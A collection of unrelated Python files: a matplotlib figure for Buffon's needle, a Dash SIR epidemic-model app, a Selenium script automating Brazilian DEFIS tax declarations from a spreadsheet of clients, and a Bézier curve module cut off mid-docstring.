col10 = scalarMap.to_rgba(0)
col11 = scalarMap.to_rgba(0.2)
col20 = scalarMap.to_rgba(1)
col21 = scalarMap.to_rgba(0.85)
col22 = scalarMap.to_rgba(0.7)
# read image
im = 'buffon_needle_3.png'
img = plt.imread(im)
# image parameters
img_height = 25
img_width = img_height * img.shape[1] / img.shape[0]
# needle original angle (radians)
theta = math.atan(img.shape[0]/img.shape[1])
# needle length
l = math.sqrt(img_height**2 + img_width**2)
# axis span
x_max = 35
y_max = 42
# lines y-coordinate
n_lines = 3 # number of lines
start_gap = 1 # y-coordinate of the first lines
d = (y_max - 2 * start_gap) / (n_lines - 1) # distance between lines
lines_y = start_gap + np.arange(n_lines) * d # y-coordinate of lines
# needle 1 position
x1_start = 8
y1_start = lines_y[1]
# needle 1 angle
theta1 = math.asin(d/l)
rot1 = transforms.Affine2D().rotate_around(x1_start, y1_start, theta1 - theta)
# needle 2 height and width
img1_height = l * math.sin(theta1)
img1_width = l * math.cos(theta1)
# needle 2 position
x2_start = 3
y2_start = start_gap
# needle 2 angle
theta2 = theta1 * 0.6
rot2 = transforms.Affine2D().rotate_around(x2_start, y2_start, theta2 - theta)
# needle 2 height and width
img2_height = l * math.sin(theta2)
img2_width = l * math.cos(theta2)
# needle center
x2c = x2_start + img2_width / 2
y2c = y2_start + img2_height / 2
# needle size mark
r = 4 # distance from the needle
s = 1 # lines of the borders
# parameters for plot
dashes = (5, 2)
fontsize = 14
# plot
fig = plt.figure(0, figsize=(10, 5), frameon=False)
ax = plt.subplot2grid((1, 10), (0, 0), rowspan=1, colspan=5)
ax.set_xlim(0, x_max)
ax.set_ylim(0, y_max)
# plot lines
plt.plot([0, x_max], [lines_y, lines_y], color=col10, lw=2)
# plot angle arc 1
arc1 = patches.Arc((x1_start, y1_start), 10, 10, angle=0, theta1=0, theta2=theta1 * 180 / math.pi, linewidth=1,
fill=False, zorder=1)
ax.add_patch(arc1)
plt.text(x1_start + 6 * math.cos(theta1/2), y1_start + 6 * math.sin(theta1/2), r'$\theta=\arcsin\;\dfrac{d}{l}$',
fontsize=fontsize, ha='left', va='center')
# plot angle arc 2
arc2 = patches.Arc((x2_start, y2_start), 10, 10, angle=0, theta1=0, theta2=theta2 * 180 / math.pi, linewidth=1,
fill=False, zorder=1)
ax.add_patch(arc2)
plt.text(x2_start + 6 * math.cos(theta2/2), y2_start + 6 * math.sin(theta2/2), r'$\theta$', fontsize=fontsize,
ha='left', va='center')
# show needle 1 image
ax.imshow(img, transform=rot1 + ax.transData,
extent=[x1_start, x1_start + img_width, y1_start, y1_start + img_height], zorder=2)
# show needle 2 image
ax.imshow(img, transform=rot2 + ax.transData,
extent=[x2_start, x2_start + img_width, y2_start, y2_start + img_height], zorder=2)
# mark needle 1 center
plt.plot(x2c, y2c, 'k.', markersize=6, zorder=3)
plt.plot([x2c, x2c], [lines_y[0], y2c], 'k--', lw=1, dashes=dashes)
plt.text(x2c + 1, (lines_y[0] + y2c) / 2, r'$z=\dfrac{l}{2}\;\sin\;\theta$', fontsize=fontsize, ha='left', va='center')
# plot distance between lines
xl = 2
plt.plot((x1_start + img1_width) * np.array([1, 1]), lines_y[1] + np.array([0, img1_height]),
'k--', lw=1, dashes=dashes)
plt.text(x1_start + img1_width + 1, lines_y[1] + img1_height / 2, r'$d$', fontsize=fontsize, ha='left', va='center')
# plot needle 2 size marker
xm = x2_start - r * math.sin(theta2)
ym = y2_start + r * math.cos(theta2)
plt.plot(xm + np.array([0, img2_width]), ym + np.array([0, img2_height]), 'k--', lw=1, dashes=dashes)
plt.plot(xm + s * math.sin(theta2) * np.array([-1, 1]),
ym + s * math.cos(theta2) * np.array([1, -1]),
'k-', lw=1)
plt.plot(xm + img2_width + s * math.sin(theta2) * np.array([-1, 1]),
ym + img2_height + s * math.cos(theta2) * np.array([1, -1]),
'k-', lw=1)
plt.text(xm + img2_width / 2 - 1 * math.sin(theta2), ym + img2_height / 2 + 1 * math.cos(theta2), r'$l$',
fontsize=fontsize, ha='center', va='baseline')
plt.axis('off')
# SAMPLE SPACE PLOT
# scale l and d
f = 10
l /= f
d /= f
# axis limits
z_max = l / 2
t_max = math.pi / 2
delta_ax = 0.3
z_ax_min = -0.1
z_ax_max = z_max + delta_ax
t_ax_min = -0.1
t_ax_max = t_max + delta_ax
# theta vector
ts = np.linspace(0, t_max, 100)
sin_ts = (l / 2) * np.sin(ts)
zs = np.linspace(0, d/2, 100)
asin_zs = np.arcsin(2 * zs / l)
ax = plt.subplot2grid((1, 10), (0, 5), rowspan=1, colspan=5)
plt.axis([z_ax_min, z_ax_max, t_ax_min, t_ax_max])
# axis arrows
plt.annotate("", xytext=(z_ax_min, 0), xycoords='data', xy=(z_ax_max, 0), textcoords='data',
arrowprops=dict(width=0.2, headwidth=6, headlength=8, facecolor='black', shrink=0.002))
plt.annotate("", xytext=(0, t_ax_min), xycoords='data', xy=(0, t_ax_max), textcoords='data',
arrowprops=dict(width=0.2, headwidth=6, headlength=8, facecolor='black', shrink=0.002))
plt.plot([d/2, d/2], [0, t_max], color=col10, lw=2)
plt.plot([0, d/2], [t_max, t_max], color=col10, lw=2)
plt.plot(sin_ts, ts, color=col20, lw=2)
ax.fill_between([0, d/2], math.asin(d/l) * np.array([1, 1]), t_max, color=col21)
ax.fill_between(zs, asin_zs, math.asin(d/l), color=col22)
# z labels
z_baseline = -0.14
plt.text(z_ax_max, z_baseline, r'$z$', fontsize=fontsize, ha='center', va='baseline')
plt.text(d/2, z_baseline, r'$\dfrac{d}{2}$', fontsize=fontsize, ha='center', va='baseline')
plt.text(-0.05, z_baseline, r'$0$', fontsize=fontsize, ha='right', va='baseline')
plt.plot([l/2, l/2], [0, math.pi/2], 'k--', lw=1, dashes=dashes)
plt.text(l/2, z_baseline, r'$\dfrac{l}{2}$', fontsize=fontsize, ha='center', va='baseline')
# theta labels
plt.text(-0.05, t_ax_max, r'$\theta$', fontsize=fontsize, ha='right', va='center')
plt.text(-0.05, math.pi/2, r'$\dfrac{\pi}{2}$', fontsize=fontsize, ha='right', va='center')
plt.plot([0, math.pi/2], [l/2, l/2], 'k--', lw=1, dashes=dashes, zorder=1)
plt.plot([0, d/2], math.asin(d/l) * np.array([1, 1]), 'k--', lw=1, dashes=dashes)
plt.text(-0.05, math.asin(d/l), r'$\arcsin\;\dfrac{d}{l}$', fontsize=fontsize, ha='right', va='center')
plt.text(d/2, math.pi/2, r'$\Omega$', fontsize=fontsize, ha='right', va='bottom', color=col10)
z1 = 1.16
plt.annotate(r'$z=\dfrac{l}{2}\;\sin\;\theta$', xytext=((d+l)/4, 0.45), xycoords='data', xy=(z1, math.asin(2*z1/l)),
textcoords='data', fontsize=fontsize, va="center", ha="center",
arrowprops=dict(arrowstyle="-|>, head_width=0.1, head_length=0.4", facecolor='black', relpos=(0.4, 1),
patchA=None, patchB=None, shrinkA=4, shrinkB=1))
plt.text(d/4, (math.pi/2+math.asin(d/l)) / 2, r'$D_1$', fontsize=fontsize, ha='center', va='center')
plt.text(d/4, 0.75*math.asin(d/l), r'$D_2$', fontsize=fontsize, ha='center', va='center')
plt.axis('off')
plt.savefig('buffon_needle_long.pdf', bbox_inches='tight', dpi=900)
plt.show()
| 7,251 | 3,308 |
import os
import flask
import dash
import dash_bootstrap_components as dbc
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output
import plotly.graph_objects as go
import dash_defer_js_import as dji
import numpy as np
from components import solve
external_stylesheets = ['https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css',
'https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/styles/monokai-sublime.min.css']
external_scripts = ['https://code.jquery.com/jquery-3.2.1.slim.min.js',
'https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js',
'https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js']
# Server definition
server = flask.Flask(__name__)
app = dash.Dash(__name__,
external_stylesheets=external_stylesheets,
external_scripts=external_scripts,
server=server)
filepath = os.path.split(os.path.realpath(__file__))[0]
narrative_text = open(os.path.join(filepath, "narrative.md"), "r").read()
refs_text = open(os.path.join(filepath, "references.md"), "r").read()
edvs_text = open(os.path.join(filepath, "edvs.md"), "r").read()
mathjax_script = dji.Import(src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.7/latest.js?config=TeX-AMS-MML_SVG")
app.index_string = '''
<!DOCTYPE html>
<html>
<head>
{%metas%}
<title>{%title%}</title>
{%favicon%}
{%css%}
</head>
<body>
{%app_entry%}
<footer>
{%config%}
{%scripts%}
<script type="text/x-mathjax-config">
MathJax.Hub.Config({
tex2jax: {
inlineMath: [ ['$','$'],],
processEscapes: true
}
});
</script>
{%renderer%}
</footer>
</body>
</html>
'''
# COMPONENTS
# ==========
def display_SIR_solution(data) -> dcc.Graph:
S, I, R = data
tspace = np.linspace(0, len(S), len(S))
fig = go.Figure()
# Susceptible
fig.add_trace(go.Scatter(x = tspace, y = S, mode="lines", name="Susceptible"))
# Infectious
fig.add_trace(go.Scatter(x = tspace, y = I, mode="lines", name="Infectious"))
# Recovered
fig.add_trace(go.Scatter(x = tspace, y = R, mode="lines", name="Removed"))
return fig
## Interactors
## -----------
R0_slider = dcc.Slider(id="r0_input", min=0, max=6.5, step=0.01, value=2.67, marks={x: str(x) for x in [0, 1, 2, 3, 4, 5, 6]})
delta_slider = dcc.Slider(id="delta_input", min=0, max=1, step=0.01, value=0.25, marks={x: f"{100*x:.0f}%" for x in np.linspace(0, 1, 11)})
tau_slider = dcc.Slider(id="tau_input", min=3, max=20, step=0.5, value=8.5, marks={x: str(x) for x in [3+2*x for x in range(0, 9)]})
# APP LAYOUT
# ==========
app.layout = html.Div([
dbc.Container(children=[
dcc.Markdown(narrative_text, dangerously_allow_html=True),
dcc.Graph(id="sir_solution", figure=display_SIR_solution(solve(delta=0.5, R0=2.67, tau=8.5))),
dbc.Row(children=[dbc.Col(children=[R0_slider], className="col-md-8"), dbc.Col(children=["$R_0$ (basic reproduction number)"], className="col-md-4")]),
html.Br(),
dbc.Row(children=[dbc.Col(children=[delta_slider], className="col-md-8"),
dbc.Col(children=["$\delta$ (social distancing fraction)"], className="col-md-4")]),
html.Br(),
dbc.Row(children=[dbc.Col(children=[tau_slider], className="col-md-8"),
dbc.Col(children=["$\\tau$ (duration of illness)"], className="col-md-4")]),
html.Br(),
html.Br(),
dcc.Markdown(edvs_text, dangerously_allow_html=True),
html.Br(),
dcc.Markdown(refs_text, dangerously_allow_html=True)
]),
mathjax_script
])
# INTERACTION
# ===========
@app.callback(Output("sir_solution", "figure"),
[Input("r0_input", "value"),
Input("delta_input", "value"),
Input("tau_input", "value")])
def update_plot(r0_input, delta_input, tau_input):
return display_SIR_solution(solve(delta=delta_input, R0=r0_input, tau=tau_input))
if __name__ == '__main__':
app.run_server(debug=True)
| 4,309 | 1,578 |
from imports import WDShorcuts
from imports import press_key_b4, activate_window, tk_msg
from imports import TimeoutException, ElementClickInterceptedException, NoSuchElementException, NoAlertPresentException
from imports import ActionChains
from imports import Keys, By, WebDriverWait, expected_conditions
from imports import ExcelToData
from _new_set_paths import NewSetPaths
import subprocess
import os
from time import sleep
from selenium.webdriver.support.ui import Select
from selenium.common.exceptions import UnexpectedAlertPresentException
# dale
class Defis(WDShorcuts, NewSetPaths, ExcelToData):
def __init__(self, compt=None):
"""
:param compt: from GUI
# remember past_only arg from self.get_atual_competencia
"""
import pandas as pd
from default.webdriver_utilities.pre_drivers import pgdas_driver
# O vencimento DAS(seja pra qual for a compt) está certo, haja vista que se trata do mes atual
sh_names = ['DEFIS']
sh_name = sh_names[0]
if compt is None:
compt = super().get_compt_only()
excel_file_name = super().excel_file_path()
COMPT = compt = f"DEFIS_{self.y()}"
# transcrevendo compt para que não seja 02/2021
# excel_file_name = '/'.join(excel_file_name.split('/')[:-1])
excel_file_name = os.path.dirname(excel_file_name)
excel_file_name += f'/DEFIS-anual.xlsx'
pdExcelFile = pd.ExcelFile(excel_file_name)
msh = pdExcelFile.parse(sheet_name=str(sh_name))
col_str_dic = {column: str for column in list(msh)}
msh = pdExcelFile.parse(sheet_name=str(sh_name), dtype=col_str_dic)
READ = self.le_excel_each_one(msh)
self.after_READ = self.readnew_lista(READ, False)
msh_socio = pdExcelFile.parse(sheet_name='Socios')
col_str_dic = {column: str for column in list(msh_socio)}
msh_socio = pdExcelFile.parse(sheet_name='Socios', dtype=col_str_dic)
self.after_socio = self.readnew_lista(self.le_excel_each_one(msh_socio))
SK = list(self.after_socio.keys())
# ACHEI FINALMENTE O JEITO RESPONSIVO DE DECLARAR PRA NÃO FICAR TENDO QUE ESCREVER POR EXTENSO
cont_soc = 0
for i, CNPJ in enumerate(self.after_READ['CNPJ']):
_cliente = self.empresa_now = self.after_READ['Razão Social'][i]
_ja_declared = self.after_READ['Declarado'][i].upper().strip()
_cod_sim = self.after_READ['Código Simples'][i]
_cpf = self.after_READ['CPF'][i]
_cert_or_login = self.after_READ['CERTORLOGIN'][i]
# Defis exclusivos
_dirf = self.after_READ['DIRF'][i]
# +2 Pois começa da linha 2, logo o excel está reconhendo isso como index
while int(self.after_socio[SK[-4]][cont_soc])-2 != i:
cont_soc += 1
__ate_soc = self.after_socio[SK[-3]][cont_soc]
__ate_soc = int(__ate_soc) + cont_soc
self.socios_now__cnpj = self.after_socio[SK[0]][cont_soc:__ate_soc]
self.socios_now__cpf = self.after_socio[SK[1]][cont_soc:__ate_soc]
self.socios_now__nome = self.after_socio[SK[2]][cont_soc:__ate_soc]
self.socios_now__cota = self.after_socio[SK[3]][cont_soc:__ate_soc]
self.socios_now__tipo = self.after_socio[SK[5]][cont_soc:__ate_soc]
self.client_path = self.files_pathit(_cliente, COMPT, )
if _ja_declared not in ['S', 'OK', 'FORA']:
print('-' * 60)
# print(f'CNPJ: {CNPJ}, {CNPJ.strip()==self.socios_now__cnpj[0]}')
self.the_print()
__client_path = self.client_path
self.driver = pgdas_driver(__client_path)
now_process = subprocess.Popen(f'explorer {__client_path}')
driver = self.driver
super().__init__(driver)
if _cert_or_login == 'certificado':
self.loga_cert()
# loga ECAC, Insere CNPJ
self.change_ecac_client(CNPJ)
self.current_url = driver.current_url
self.opta_script() if self.m() == 12 else None
else:
self.loga_simples(CNPJ, _cpf, _cod_sim, _cliente)
self.current_url = driver.current_url
self.opta_script() if self.m() == 12 else None
driver.get('https://www8.receita.fazenda.gov.br/SimplesNacional/Aplicacoes/ATSPO/defis.app/entrada.aspx')
while True:
try:
WebDriverWait(self.driver, 10).until(expected_conditions.presence_of_element_located((By.TAG_NAME, 'input')))
my_radios_bt = driver.find_elements_by_name('ctl00$conteudo$AnoC')
my_radios_bt[-2].click()
driver.find_element_by_id('ctl00_conteudo_lnkContinuar').click()
break
except TimeoutException:
driver.get('https://sinac.cav.receita.fazenda.gov.br/SimplesNacional/Aplicacoes/ATSPO/defis.app/entrada.aspx')
(print('sleeping'), sleep(5))
self.send_keys_anywhere(Keys.TAB, 2)
self.send_keys_anywhere(Keys.ENTER, 1)
self.contains_text(str(self.y()-1)).click()
self.contains_text('Continuar').click()
driver.implicitly_wait(10)
self.send_keys_anywhere(Keys.TAB, 9)
self.send_keys_anywhere(Keys.ENTER, 1)
self.send_keys_anywhere(Keys.TAB, 2)
self.send_keys_anywhere(Keys.ENTER, 1)
WebDriverWait(self.driver, 5)
try:
self.send_keys_anywhere(Keys.TAB, 1)
self.send_keys_anywhere(Keys.ENTER, 1)
except UnexpectedAlertPresentException:
pass
else:
# se 3 => De toda MP
self.send_keys_anywhere(Keys.TAB, 2)
self.send_keys_anywhere(Keys.ENTER)
self.send_keys_anywhere(Keys.TAB, 1)
# Informações econômicas e fiscais do estabelecimento
ac = ActionChains(self.driver)
for sdc in range(13):
ac.send_keys('0')
ac.send_keys(Keys.TAB)
ac.perform()
self.send_keys_anywhere(Keys.TAB, 11, pause=.1)
self.send_keys_anywhere(Keys.RIGHT)
self.send_keys_anywhere(Keys.TAB)
self.send_keys_anywhere(Keys.RIGHT)
self.send_keys_anywhere(Keys.TAB, 15, pause=.001)
self.send_keys_anywhere(Keys.ENTER)
# Chega até os campos padrão
print('\033[1;31m DIGITE F8 p/ prosseguir \033[m')
which_one = press_key_b4('f8')
now_process.kill()
print('-' * 30)
print(f'already declared {_cliente}')
print('-' * 30)
def loga_cert(self):
"""
:return: mixes the two functions above (show_actual_tk_window, mensagem)
"""
from threading import Thread
from pyautogui import hotkey
from time import sleep
driver = self.driver
while True:
try:
driver.get('https://cav.receita.fazenda.gov.br/autenticacao/login')
driver.set_page_load_timeout(30)
break
except TimeoutException:
driver.refresh()
finally:
sleep(1)
activate_window('eCAC - Centro Virtual de Atendimento')
"""
while True:
try:
driver.get('https://cav.receita.fazenda.gov.br/')
driver.set_page_load_timeout(5)
break
except TimeoutException:
driver.refresh()
finally:
sleep(1)
"""
# initial = driver.find_element_by_id('caixa1-login-certificado')
driver.get(
'https://sso.acesso.gov.br/authorize?response_type=code&client_id=cav.receita.fazenda.gov.br&'
'scope=openid+govbr_recupera_certificadox509+govbr_confiabilidades&'
'redirect_uri=https://cav.receita.fazenda.gov.br/autenticacao/login/govbrsso')
initial = driver.find_element_by_link_text('Certificado digital')
print('ativando janela acima, logando certificado abaixo, linhas 270')
sleep(2)
# self.thread_pool_executor(initial.click, [hotkey, 'enter'])
t = Thread(target=initial.click)
t.start()
tt = Thread(target=sleep(2.5))
tt.start()
# B4 enter, ir pra baixo por causa do certificado do castilho
tb4 = Thread(target=hotkey('down'))
tb4.start()
tt2 = Thread(target=sleep(2))
tt2.start()
t2 = Thread(target=hotkey('enter'))
t2.start()
def loga_simples(self, CNPJ, CPF, CodSim, CLIENTE):
driver = self.driver
driver.get(
'https://www8.receita.fazenda.gov.br/SimplesNacional/controleAcesso/Autentica.aspx?id=60')
driver.get(
'https://www8.receita.fazenda.gov.br/SimplesNacional/controleAcesso/Autentica.aspx?id=60')
while str(driver.current_url.strip()).endswith('id=60'):
self.tags_wait('body')
self.tags_wait('html')
self.tags_wait('input')
# driver.find_elements_by_xpath("//*[contains(text(), 'CNPJ:')]")[0].click()
# pygui.hotkey('tab', interval=0.5)
cpcp = driver.find_element_by_name('ctl00$ContentPlaceHolder$txtCNPJ')
cpcp.clear()
cpcp.send_keys(CNPJ)
cpfcpf = driver.find_element_by_name('ctl00$ContentPlaceHolder$txtCPFResponsavel')
cpfcpf.clear()
cpfcpf.send_keys(CPF)
cod = driver.find_element_by_name('ctl00$ContentPlaceHolder$txtCodigoAcesso')
cod.clear()
cod.send_keys(CodSim)
cod_caract = driver.find_element_by_id('txtTexto_captcha_serpro_gov_br')
btn_som = driver.find_element_by_id('btnTocarSom_captcha_serpro_gov_br')
sleep(2.5)
btn_som.click()
sleep(.5)
cod_caract.click()
print(f'PRESSIONE ENTER P/ PROSSEGUIR, {CLIENTE}')
press_key_b4('enter')
while True:
try:
submit = driver.find_element_by_xpath("//input[@type='submit']").click()
break
except (NoSuchElementException, ElementClickInterceptedException):
print('sleepin'
'g, line 167. Cadê o submit?')
driver.refresh()
sleep(5)
sleep(5)
def change_ecac_client(self, CNPJ):
""":return: vai até ao site de declaração do ECAC."""
driver = self.driver
def elem_with_text(elem, searched):
_tag = driver.find_element_by_xpath(f"//{elem}[contains(text(),'{searched.rstrip()}')]")
return _tag
self.tags_wait('html', 'span')
sleep(5)
# nextcl = elem_with_text("span", "Alterar perfil de acesso")
# nextcl.click()
btn_perfil = WebDriverWait(self.driver, 20).until(
expected_conditions.presence_of_element_located((By.ID, 'btnPerfil')))
self.click_ac_elementors(btn_perfil)
# altera perfil e manda o cnpj
self.tags_wait('label')
cnpj = elem_with_text("label", "Procurador de pessoa jurídica - CNPJ")
cnpj.click()
sleep(.5)
self.send_keys_anywhere(CNPJ)
sleep(1)
self.send_keys_anywhere(Keys.TAB)
self.send_keys_anywhere(Keys.ENTER)
sleep(1)
# driver.find_element_by_class_name('access-button').click()
# sleep(10)
antigo = driver.current_url
"""I GOT IT"""
# switch_to.frame...
sleep(5)
driver.get(
'https://sinac.cav.receita.fazenda.gov.br/simplesnacional/aplicacoes/atspo/pgdasd2018.app/')
sleep(2.5)
driver.get(antigo)
driver.get('https://cav.receita.fazenda.gov.br/ecac/Aplicacao.aspx?id=10009&origem=menu')
driver.switch_to.frame(driver.find_element_by_tag_name("iframe"))
sleep(2)
while True:
try:
driver.find_element_by_xpath('//span[@class="glyphicon glyphicon-off"]').click()
driver.refresh()
break
except ElementClickInterceptedException:
print('---> PRESSIONE ESC PARA CONTINUAR <--- glyphicon-off intercepted')
press_key_b4('esc')
except NoSuchElementException:
print('---> PRESSIONE ESC PARA CONTINUAR NoSuchElement glyphicon-off')
press_key_b4('esc')
driver.get(
'https://sinac.cav.receita.fazenda.gov.br/simplesnacional/aplicacoes/atspo/pgdasd2018.app/')
driver.implicitly_wait(5)
break
sleep(3)
driver.switch_to.default_content()
"""I GOT IT"""
# chegou em todo mundo...
driver.get(
'https://sinac.cav.receita.fazenda.gov.br/simplesnacional/aplicacoes/atspo/pgdasd2018.app/')
driver.implicitly_wait(5)
def simples_and_ecac_utilities(self, option, compt):
"""
:param int option: somente de 1 a 2, sendo
:param str compt: competência
1 -> Gerar Das somente se for consolidar para outra DATA
2 -> Gerar Protocolos
:return:
"""
# estou na "declaração", aqui faço o que quiser
from datetime import datetime
now_year = str(datetime.now().year)
compt = ''.join(v for v in compt if v.isdigit())
month_compt = compt[:2]
year_compt = compt[2:]
driver = self.driver
current_url = self.current_url
link_gera_das, download_protocolos_das = 'Das/PorPa', '/Consulta'
if option == 2:
self.get_sub_site(download_protocolos_das, current_url)
driver.implicitly_wait(5)
if now_year != year_compt:
self.send_keys_anywhere(year_compt)
self.find_submit_form()
sleep(3.5)
comp_clic = driver.find_elements_by_class_name('pa')
lenc = len(comp_clic) - 1
comp_clic[lenc].click()
for i in range(3):
sleep(2)
self.send_keys_anywhere(Keys.TAB)
self.send_keys_anywhere(Keys.ENTER)
elif option == 1:
# gera das
venc_month_compt = int(month_compt) + 1
venc = self.get_last_business_day_of_month(venc_month_compt, int(year_compt))
retifica_p_dia = f'{venc}{venc_month_compt:02d}{year_compt}'
self.get_sub_site(link_gera_das, current_url)
self.tags_wait('input')
driver.implicitly_wait(10)
periodo = driver.find_element_by_id('pa')
periodo.send_keys(compt)
self.find_submit_form()
sleep(2.5)
# if len(driver.find_elements_by_id('msgBox')) == 0 # CASO NÃO EXISTA O DAS
consolida = driver.find_element_by_id('btnConsolidarOutraData')
consolida.click()
sleep(2.5)
validade_id = 'txtDataValidade'
driver.execute_script(f"document.getElementById('{validade_id}').focus();")
validade_change = driver.find_element_by_id(validade_id)
for e, val in enumerate(retifica_p_dia):
validade_change.send_keys(val)
if e == 0:
sleep(.25)
sleep(1)
driver.find_element_by_id('btnDataValidade').click()
# coloquei a validade
# gerei das
driver.implicitly_wait(5)
self.find_submit_form()
# GERAR DAS
else:
tk_msg(f'Tente outra opção, linha 550 +-, opc: {option}')
def opta_script(self):
driver = self.driver
try:
# #################################################### opta
self.get_sub_site('/RegimeApuracao/Optar', self.current_url)
# driver.execute_script("""window.location.href += '/RegimeApuracao/Optar'""")
anocalendario = Select(driver.find_element_by_id('anocalendario'))
anocalendario.select_by_value('2021')
self.find_submit_form()
# competencia
competencia, caixa = '0', '1'
driver.find_element_by_css_selector(f"input[type='radio'][value='{competencia}']").click()
self.find_submit_form()
sleep(2.5)
# driver.find_element_by_id('btnSimConfirm').click()
try:
driver.implicitly_wait(10)
self.click_ac_elementors(driver.find_element_by_class_name('glyphicon-save'))
except NoSuchElementException:
input('Não consegui')
else:
print('Não fui exceptado')
# ########################################################
except NoSuchElementException:
pass
finally:
driver.get(self.current_url)
driver.execute_script("""window.location.href += '/declaracao?clear=1'""")
sleep(2.5)
def the_print(self):
len_nome = len(self.socios_now__nome)
print(self.empresa_now)
print(f'{"CNPJ":<10}{"Nome":>10}{"CPF":>38}{"COTA":>21}{"COTA %":>10}')
total_calc = sum(int(v) for v in self.socios_now__cota)
for ins in range(len(self.socios_now__cnpj)):
soc_cnpj = self.socios_now__cnpj[ins]
soc_nome = self.socios_now__nome[ins]
soc_cpf = self.socios_now__cpf[ins]
soc_cota = self.socios_now__cota[ins]
print(f'{soc_cnpj:<16}', end='')
print(f'{soc_nome:<{40 - len_nome}}', end='')
print(f'{soc_cpf:>9}', end='')
print(f'{soc_cota:>10}', end='')
cota = int(soc_cota) / total_calc
print(' ', cota)
print(self.socios_now__tipo)
print('-' * 60)
print()
Defis()
| 18,525 | 6,095 |
"""
## =========================================================================== ##
MIT License
Copyright (c) 2021 Roman Parak
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
## =========================================================================== ##
Author : Roman Parak
Email : Roman.Parak@outlook.com
Github : https://github.com/rparak
File Name: Bezier.py
## =========================================================================== ##
"""
# Numpy (Array computing) [pip3 install numpy]
import numpy as np
# Support for type hints
import typing
# Initialization of constants
CONST_NUM_OF_ENTRY_POINTS_LINEAR = 2
CONST_NUM_OF_ENTRY_POINTS_QUADRATIC = 3
CONST_NUM_OF_ENTRY_POINTS_CUBIC = 4
# Time t ∈ [0: The starting value of the sequence,
# 1: The end value of the sequence]
CONST_T_START = 0
CONST_T_STOP = 1
def Linear(num_of_samples: typing.Union[int], points: typing.Union[typing.List[int], typing.List[float]]) -> typing.Union[typing.List[int], typing.List[float]]:
"""
Description:
Given two control points p_{0} and p_{1} we define the linear Bézier curve to be the curve parametrized by:
p(t) = (1 - t)*p_{0} + t*p_{1}, t ∈ [0, 1]
Args:
(1) num_of_samples [INT]: Number of samples to generate. Must be non-negative.
(2) points [p_{0, 1}] [Int/Float Matrix]: Multiple points to create a curve.
Returns:
(1) parameter [Int/Float Matrix]: Resulting points of the curve.
Example:
res = Linear(num_of_samples, points),
where points are equal to [[px_id_0, py_id_0], [px_id_1, py_id_1]] in 2D space
and [[px_id_0, py_id_0, pz_id_0], [px_id_1, py_id_1, pz_id_1]] in 3D space
"""
try:
assert len(points) == CONST_NUM_OF_ENTRY_POINTS_LINEAR
assert(num_of_samples >= 0)
# Return evenly spaced numbers over a specified interval.
t = np.linspace(CONST_T_START, CONST_T_STOP, num_of_samples)
return [(1 - t) * p[0] + t * p[1]
for _, p in enumerate(np.transpose(points))]
except AssertionError as error:
print('[ERROR] Insufficient number of entry points.')
print('[ERROR] The correct number of entry points is %d.' % CONST_NUM_OF_ENTRY_POINTS_LINEAR)
print('[ERROR] The number of samples must not be negative.')
def Quadratic(num_of_samples: typing.Union[int], points: typing.Union[typing.List[int], typing.List[float]]) -> typing.Union[typing.List[int], typing.List[float]]:
"""
Description:
Given three control points p_{0}, p_{1} and p_{2} we define the quadratic Bézier curve (degree 2 Bézier curve)
to be the curve parametrized by:
p(t) = ((1 - t)^2)*p_{0} + 2*t*(1 - t)*p_{1} + (t^2)*p_{2}, t ∈ [0, 1]
Args:
(1) num_of_samples [INT]: Number of samples to generate. Must be non-negative.
(2) points [p_{0, 1, 2}] [Int/Float Matrix]: Multiple points to create a curve.
Returns:
(1) parameter [Int/Float Matrix]: Resulting points of the curve.
Example:
res = Quadratic(t, p),
where points are equal to [[px_id_0, py_id_0], [px_id_1, py_id_1], [px_id_2, py_id_2]] in 2D space
and [[px_id_0, py_id_0, pz_id_0], [px_id_1, py_id_1, pz_id_1], [px_id_2, py_id_2, pz_id_2]] in 3D space
"""
try:
assert len(points) == CONST_NUM_OF_ENTRY_POINTS_QUADRATIC
assert(num_of_samples >= 0)
# Return evenly spaced numbers over a specified interval.
t = np.linspace(CONST_T_START, CONST_T_STOP, num_of_samples)
return [(1 - t)**2 * p[0] + 2 * t * (1 - t) * p[1] + t**2 * p[2]
for _, p in enumerate(np.transpose(points))]
except AssertionError as error:
print('[ERROR] Insufficient number of entry points.')
print('[ERROR] The correct number of entry points is %d.' % CONST_NUM_OF_ENTRY_POINTS_QUADRATIC)
print('[ERROR] The number of samples must not be negative.')
def Cubic(num_of_samples: typing.Union[int], points: typing.Union[typing.List[int], typing.List[float]]) -> typing.Union[typing.List[int], typing.List[float]]:
"""
Description:
Given four control points p_{0}, p_{1}, p_{2} and p_{3} we define the cubic Bézier curve (degree 3 Bézier curve) to
be the curve parametrized by:
p(t) = ((1 - t)^3)*p_{0} + 3*t*((1 - t)^2)*p_{1} + (3*t^2)*(1 - t)*p_{2} + (t^3) * p_{3}, t ∈ [0, 1]
Args:
(1) num_of_samples [INT]: Number of samples to generate. Must be non-negative.
(2) points [p_{0, 1, 2, 3}] [Int/Float Matrix]: Multiple points to create a curve.
Returns:
(1) parameter [Int/Float Matrix]: Resulting points of the curve.
Example:
res = Cubic(t, p),
